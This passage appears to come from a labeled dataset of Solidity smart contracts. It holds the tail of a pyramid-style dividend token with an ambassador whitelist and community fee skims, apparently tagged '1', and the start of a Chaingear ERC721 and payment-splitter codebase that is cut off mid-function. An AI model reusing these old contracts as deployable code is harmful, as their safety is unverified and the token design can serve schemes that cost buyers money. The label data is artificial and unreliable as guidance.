bool public onlyAmbassadors = true;
constructor()
public
{
administrators[0x2a94d36a11c723ddffd4bf9352609aed9b400b2be1e9b272421fa7b4e7a40560] = true;
ambassadors_[0x16F2971f677DDCe04FC44bb1A5289f0B96053b2C] = true;
ambassadors_[0x579F9608b1fa6aA387BD2a3844469CA8fb10628c] = true;
ambassadors_[0x62E691c598D968633EEAB5588b1AF95725E33316] = true;
ambassadors_[0x9e3F432dc2CD4EfFB0F0EB060b07DC2dFc574d0D] = true;
ambassadors_[0x63735870e79A653aA445d7b7B59DC9c1a7149F39] = true;
ambassadors_[0x562DEd82A67f4d2ED3782181f938f2E4232aE02C] = true;
ambassadors_[0x22ec2994d77E3Ca929eAc83dEF3958CC547ff028] = true;
ambassadors_[0xF2e602645AC91727D75E66231d06F572E133E59F] = true;
ambassadors_[0x1AA16F9A2428ceBa2eDeb5D544b3a3D767c1566e] = true;
ambassadors_[0x273b270F0eA966a462feAC89C9d4f4D6Dcd1CbdF] = true;
ambassadors_[0x7ABe6948E5288a30026EdE239446a0B84d502184] = true;
ambassadors_[0xB6Aa76e55564D9dB18cAF61369ff4618F5287f43] = true;
ambassadors_[0x3c6c909dB011Af05Dadd706D88a6Cd03D87a4f86] = true;
ambassadors_[0x914132fe8075aF2d932cadAa7d603DDfDf70D353] = true;
ambassadors_[0x8Be6Aa12746e84e448a18B20013F3AdB9e24e1c6] = true;
ambassadors_[0x3595bA9Ab527101B5cc78195Ca043653d96fEEB6] = true;
ambassadors_[0x17dBe44d9c91d2c71E33E3fd239BD1574A7f46DF] = true;
ambassadors_[0x47Ce514A4392304D9Ccaa7A807776AcB391198D0] = true;
ambassadors_[0x96b41F6DE1d579ea5CB87bA04834368727B993e4] = true;
ambassadors_[0x0953800A059a9d30BD6E47Ae2D34f3665F8E2b53] = true;
ambassadors_[0x497C85EeF12A17D3fEd3aef894ec3273046FdC1D] = true;
ambassadors_[0x116febf80104677019ac4C9E693c63c19B26Cf86] = true;
ambassadors_[0xFb214AA761CcC1Ccc9D2134a33f4aC77c514d59c] = true;
ambassadors_[0x567e3616dE1b217d6004cbE9a84095Ce90E94Bfd] = true;
ambassadors_[0x3f054BF8C392F4F28a9B29f911503c6BC58ED4Da] = true;
ambassadors_[0x71F658079CaEEDf2270F37c6235D0Ac6B25c9849] = true;
ambassadors_[0x0581d2d23A300327678E4497d84d58FF64B9CfDe] = true;
ambassadors_[0xFFAE7193dFA6eBff817C47cd2e5Ce4497c082613] = true;
ambassadors_[0x18B0f4F11Cb1F2170a6AC594b2Cb0107e2B44821] = true;
ambassadors_[0x081c65ff7328ac4cC173D3dA7fD02371760B0cF4] = true;
ambassadors_[0xfa698b3242A3a48AadbC64F50dc96e1DE630F39A] = true;
ambassadors_[0xAA5BA7930A1B2c14CDad11bECA86bf43779C05c5] = true;
ambassadors_[0xa7bF8FF736532f6725c5433190E0852DD1592213] = true;
}
function buy()
public
payable
returns(uint256)
{
purchaseTokens(msg.value);
}
function()
payable
public
{
purchaseTokens(msg.value);
}
function reinvest()
isActivated()
onlyHuman()
checkRoundStatus()
public
{
address _customerAddress = msg.sender;
uint256 incomeTmp = income_[_customerAddress];
income_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(incomeTmp);
emit onReinvestment(_customerAddress, incomeTmp, _tokens);
}
function exit()
isActivated()
onlyHuman()
checkRoundStatus()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
acquireDividends();
withdraw();
}
function acquireDividends()
isActivated()
onlyHuman()
checkRoundStatus()
public
{
address _customerAddress = msg.sender;
Round storage round = rounds_[currentRoundID_.sub(1)];
uint256 _dividends = myDividends(round.roundID);
round.payoutsTo[_customerAddress] = round.payoutsTo[_customerAddress].add(_dividends);
round.totalPayouts = round.totalPayouts.add(_dividends);
income_[_customerAddress] = income_[_customerAddress].add(_dividends);
emit onAcquireDividends(_customerAddress, _dividends);
}
function withdraw()
isActivated()
onlyHuman()
checkRoundStatus()
public
{
address _customerAddress = msg.sender;
uint256 myIncome = income_[_customerAddress];
income_[_customerAddress]=0;
_customerAddress.transfer(myIncome);
emit onWithdraw(_customerAddress, myIncome);
}
function taxDividends(uint256 _dividends)
internal
returns (uint256)
{
uint256 _comm = _dividends.div(communityFee_);
uint256 _taxedDividends = _dividends.sub(_comm);
uint256 _comm_1 = _comm.mul(3).div(10);
comm1Balance_ = comm1Balance_.add(_comm_1);
comm2Balance_ = comm2Balance_.add(_comm.sub(_comm_1));
return _taxedDividends;
}
function sell(uint256 _amountOfTokens)
isActivated()
onlyHuman()
onlyBagholders()
checkRoundStatus()
public
{
require(_amountOfTokens > 0, "Selling 0 token!");
Round storage round = rounds_[currentRoundID_];
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
income_[_customerAddress] = income_[_customerAddress].add(_taxedEthereum);
uint256 _taxedDividends = taxDividends(_dividends);
round.dividends = round.dividends.add(_taxedDividends);
tokenSupply_ = tokenSupply_.sub(_tokens);
tokenBalanceLedger_[_customerAddress] = tokenBalanceLedger_[_customerAddress].sub(_tokens);
int256 _userNetBuyBeforeSale = round.userNetBuy[_customerAddress];
round.userNetBuy[_customerAddress] = _userNetBuyBeforeSale.sub(_tokens.toInt256Safe());
if( _userNetBuyBeforeSale > 0)
{
if(_userNetBuyBeforeSale.toUint256Safe() > _tokens)
{
round.netBuySum = round.netBuySum.sub(_tokens);
}
else
{
round.netBuySum = round.netBuySum.sub(_userNetBuyBeforeSale.toUint256Safe());
}
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
isActivated()
onlyHuman()
checkRoundStatus()
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokenFee = _amountOfTokens.div(dividendFee_);
uint256 _taxedTokens = _amountOfTokens.sub(_tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
uint256 _taxedDividends = taxDividends(_dividends);
rounds_[currentRoundID_].dividends = rounds_[currentRoundID_].dividends.add(_taxedDividends);
tokenSupply_ = tokenSupply_.sub(_tokenFee);
tokenBalanceLedger_[_customerAddress] = tokenBalanceLedger_[_customerAddress].sub(_amountOfTokens);
tokenBalanceLedger_[_toAddress] = tokenBalanceLedger_[_toAddress].add(_taxedTokens);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function activate()
onlyAdministrator()
public
{
require(activated_ == false, "Already activated");
currentRoundID_ = 1;
rounds_[currentRoundID_].roundID = currentRoundID_;
rounds_[currentRoundID_].startTime = now;
rounds_[currentRoundID_].endTime = now + roundDuration_;
activated_ = true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(uint256 _roundID)
public
view
returns(uint256)
{
return dividendsOf(msg.sender, _roundID);
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress, uint256 _roundID)
view
public
returns(uint256)
{
if(_roundID<1) return 0;
if (_roundID > currentRoundID_) return 0;
Round storage round = rounds_[_roundID];
if(round.userNetBuy[_customerAddress] <= 0)
{
return 0;
}
if(round.dividends <= 0)
{
return 0;
}
return round.profitPerShare.mul(round.userNetBuy[_customerAddress].toUint256Safe()).div(magnitude).sub(round.payoutsTo[_customerAddress]);
}
function estimateDividends(address _customerAddress)
view
public
returns(uint256)
{
Round storage round = rounds_[currentRoundID_];
if(round.userNetBuy[_customerAddress] <= 0)
{
return 0;
}
if(round.dividends <= 0)
{
return 0;
}
return round.dividends.mul(magnitude).div(round.netBuySum).mul(round.userNetBuy[_customerAddress].toUint256Safe()).div(magnitude);
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
return _ethereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _amountOfTokens = ethereumToTokens_(_ethereumToSpend);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function roundNetBuySum(uint256 _roundID)
public view returns(uint256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].netBuySum;
}
function roundEndTime(uint256 _roundID)
public view returns(uint256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].endTime;
}
function roundEnded(uint256 _roundID)
public view returns(bool)
{
if(_roundID <1 || _roundID > currentRoundID_) return true;
return rounds_[_roundID].ended;
}
function roundStartTime(uint256 _roundID)
public view returns(uint256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].startTime;
}
function roundProfitPerShare(uint256 _roundID)
public view returns(uint256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].profitPerShare;
}
function roundDividends(uint256 _roundID)
public view returns(uint256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].dividends;
}
function roundUserNetBuy(uint256 _roundID, address addr)
public view returns(int256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].userNetBuy[addr];
}
function roundPayoutsTo(uint256 _roundID, address addr)
public view returns(uint256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].payoutsTo[addr];
}
function roundTotalPayouts(uint256 _roundID)
public view returns(uint256)
{
if(_roundID <1 || _roundID > currentRoundID_) return 0;
return rounds_[_roundID].totalPayouts;
}
function purchaseTokens(uint256 _incomingEthereum)
isActivated()
antiEarlyWhale(_incomingEthereum)
onlyHuman()
checkRoundStatus()
internal
returns(uint256)
{
require(_incomingEthereum > 0, "0 eth buying.");
Round storage round = rounds_[currentRoundID_];
address _customerAddress = msg.sender;
uint256 _amountOfTokens = ethereumToTokens_(_incomingEthereum);
require(_amountOfTokens > 0 && (tokenSupply_.add(_amountOfTokens) > tokenSupply_));
if(tokenSupply_ > 0){
tokenSupply_ = tokenSupply_.add(_amountOfTokens);
} else {
tokenSupply_ = _amountOfTokens;
}
int256 _userNetBuy = round.userNetBuy[_customerAddress];
int256 _userNetBuyAfterPurchase = _userNetBuy.add(_amountOfTokens.toInt256Safe());
round.userNetBuy[_customerAddress] = _userNetBuyAfterPurchase;
if(_userNetBuy >= 0)
{
round.netBuySum = round.netBuySum.add(_amountOfTokens);
}
else
{
if( _userNetBuyAfterPurchase > 0)
{
round.netBuySum = round.netBuySum.add(_userNetBuyAfterPurchase.toUint256Safe());
}
}
tokenBalanceLedger_[_customerAddress] = tokenBalanceLedger_[_customerAddress].add(_amountOfTokens);
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function withdrawComm1()
isActivated()
onlyComm1()
onlyHuman()
checkRoundStatus()
public
{
uint256 bal = comm1Balance_;
comm1Balance_ = 0;
msg.sender.transfer(bal);
emit onWithDrawComm(1, bal);
}
function withdrawComm2()
isActivated()
onlyComm2()
onlyHuman()
checkRoundStatus()
public
{
uint256 bal = comm2Balance_;
comm2Balance_ = 0;
msg.sender.transfer(bal);
emit onWithDrawComm(2, bal);
}
function transferExpiredDividends(uint256 _roundID)
isActivated()
onlyHuman()
checkRoundStatus()
public
{
require(_roundID > 0 && _roundID < currentRoundID_.sub(1), "Invalid round number");
Round storage round = rounds_[_roundID];
uint256 _unpaid = round.dividends.sub(round.totalPayouts);
require(_unpaid>0, "No expired dividends.");
uint256 comm1 = _unpaid.mul(3).div(10);
comm1Balance_ = comm1Balance_.add(comm1);
comm2Balance_ = comm2Balance_.add(_unpaid.sub(comm1));
round.totalPayouts = round.totalPayouts.add(_unpaid);
emit onTransferExpiredDividends(msg.sender, _roundID, _unpaid);
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
assert(b >= 0);
return b;
}
}
library SafeMathInt {
function mul(int256 a, int256 b) internal pure returns (int256) {
assert(!(a == - 2**255 && b == -1) && !(b == - 2**255 && a == -1));
int256 c = a * b;
assert((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
assert(!(a == - 2**255 && b == -1));
int256 c = a / b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
assert((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
assert(a>=0);
return uint256(a);
}
} | 1 |
pragma solidity 0.4.25;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
interface IDatabase {
function createEntry() external payable returns (uint256);
function auth(uint256, address) external;
function deleteEntry(uint256) external;
function fundEntry(uint256) external payable;
function claimEntryFunds(uint256, uint256) external;
function updateEntryCreationFee(uint256) external;
function updateDatabaseDescription(string) external;
function addDatabaseTag(bytes32) external;
function updateDatabaseTag(uint8, bytes32) external;
function removeDatabaseTag(uint8) external;
function readEntryMeta(uint256) external view returns (
address,
address,
uint256,
uint256,
uint256,
uint256
);
function getChaingearID() external view returns (uint256);
function getEntriesIDs() external view returns (uint256[]);
function getIndexByID(uint256) external view returns (uint256);
function getEntryCreationFee() external view returns (uint256);
function getEntriesStorage() external view returns (address);
function getSchemaDefinition() external view returns (string);
function getDatabaseBalance() external view returns (uint256);
function getDatabaseDescription() external view returns (string);
function getDatabaseTags() external view returns (bytes32[]);
function getDatabaseSafe() external view returns (address);
function getSafeBalance() external view returns (uint256);
function getDatabaseInitStatus() external view returns (bool);
function pause() external;
function unpause() external;
function transferAdminRights(address) external;
function getAdmin() external view returns (address);
function getPaused() external view returns (bool);
function transferOwnership(address) external;
function deletePayees() external;
}
interface IDatabaseBuilder {
function deployDatabase(
address[],
uint256[],
string,
string
) external returns (IDatabase);
function setChaingearAddress(address) external;
function getChaingearAddress() external view returns (address);
function getOwner() external view returns (address);
}
contract Safe {
address private owner;
constructor() public
{
owner = msg.sender;
}
function()
external
payable
{
require(msg.sender == owner);
}
function claim(address _entryOwner, uint256 _amount)
external
{
require(msg.sender == owner);
require(_amount <= address(this).balance);
require(_entryOwner != address(0));
_entryOwner.transfer(_amount);
}
function getOwner()
external
view
returns(address)
{
return owner;
}
}
interface IChaingear {
function addDatabaseBuilderVersion(
string,
IDatabaseBuilder,
string,
string
) external;
function updateDatabaseBuilderDescription(string, string) external;
function depricateDatabaseBuilder(string) external;
function createDatabase(
string,
address[],
uint256[],
string,
string
) external payable returns (address, uint256);
function deleteDatabase(uint256) external;
function fundDatabase(uint256) external payable;
function claimDatabaseFunds(uint256, uint256) external;
function updateCreationFee(uint256) external;
function getAmountOfBuilders() external view returns (uint256);
function getBuilderByID(uint256) external view returns(string);
function getDatabaseBuilder(string) external view returns(address, string, string, bool);
function getDatabasesIDs() external view returns (uint256[]);
function getDatabaseIDByAddress(address) external view returns (uint256);
function getDatabaseAddressByName(string) external view returns (address);
function getDatabaseSymbolByID(uint256) external view returns (string);
function getDatabaseIDBySymbol(string) external view returns (uint256);
function getDatabase(uint256) external view returns (
string,
string,
address,
string,
uint256,
address,
uint256
);
function getDatabaseBalance(uint256) external view returns (uint256, uint256);
function getChaingearDescription() external pure returns (string);
function getCreationFeeWei() external view returns (uint256);
function getSafeBalance() external view returns (uint256);
function getSafeAddress() external view returns (address);
function getNameExist(string) external view returns (bool);
function getSymbolExist(string) external view returns (bool);
}
contract PaymentSplitter {
using SafeMath for uint256;
uint256 internal totalShares;
uint256 internal totalReleased;
mapping(address => uint256) internal shares;
mapping(address => uint256) internal released;
address[] internal payees;
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
constructor (address[] _payees, uint256[] _shares)
public
payable
{
_initializePayess(_payees, _shares);
}
function ()
external
payable
{
emit PaymentReceived(msg.sender, msg.value);
}
function getTotalShares()
external
view
returns (uint256)
{
return totalShares;
}
function getTotalReleased()
external
view
returns (uint256)
{
return totalReleased;
}
function getShares(address _account)
external
view
returns (uint256)
{
return shares[_account];
}
function getReleased(address _account)
external
view
returns (uint256)
{
return released[_account];
}
function getPayee(uint256 _index)
external
view
returns (address)
{
return payees[_index];
}
function getPayeesCount()
external
view
returns (uint256)
{
return payees.length;
}
function release(address _account)
public
{
require(shares[_account] > 0);
uint256 totalReceived = address(this).balance.add(totalReleased);
uint256 payment = totalReceived.mul(shares[_account]).div(totalShares).sub(released[_account]);
require(payment != 0);
released[_account] = released[_account].add(payment);
totalReleased = totalReleased.add(payment);
_account.transfer(payment);
emit PaymentReleased(_account, payment);
}
function _initializePayess(address[] _payees, uint256[] _shares)
internal
{
require(payees.length == 0);
require(_payees.length == _shares.length);
require(_payees.length > 0 && _payees.length <= 8);
for (uint256 i = 0; i < _payees.length; i++) {
_addPayee(_payees[i], _shares[i]);
}
}
function _addPayee(
address _account,
uint256 _shares
)
internal
{
require(_account != address(0));
require(_shares > 0);
require(shares[_account] == 0);
payees.push(_account);
shares[_account] = _shares;
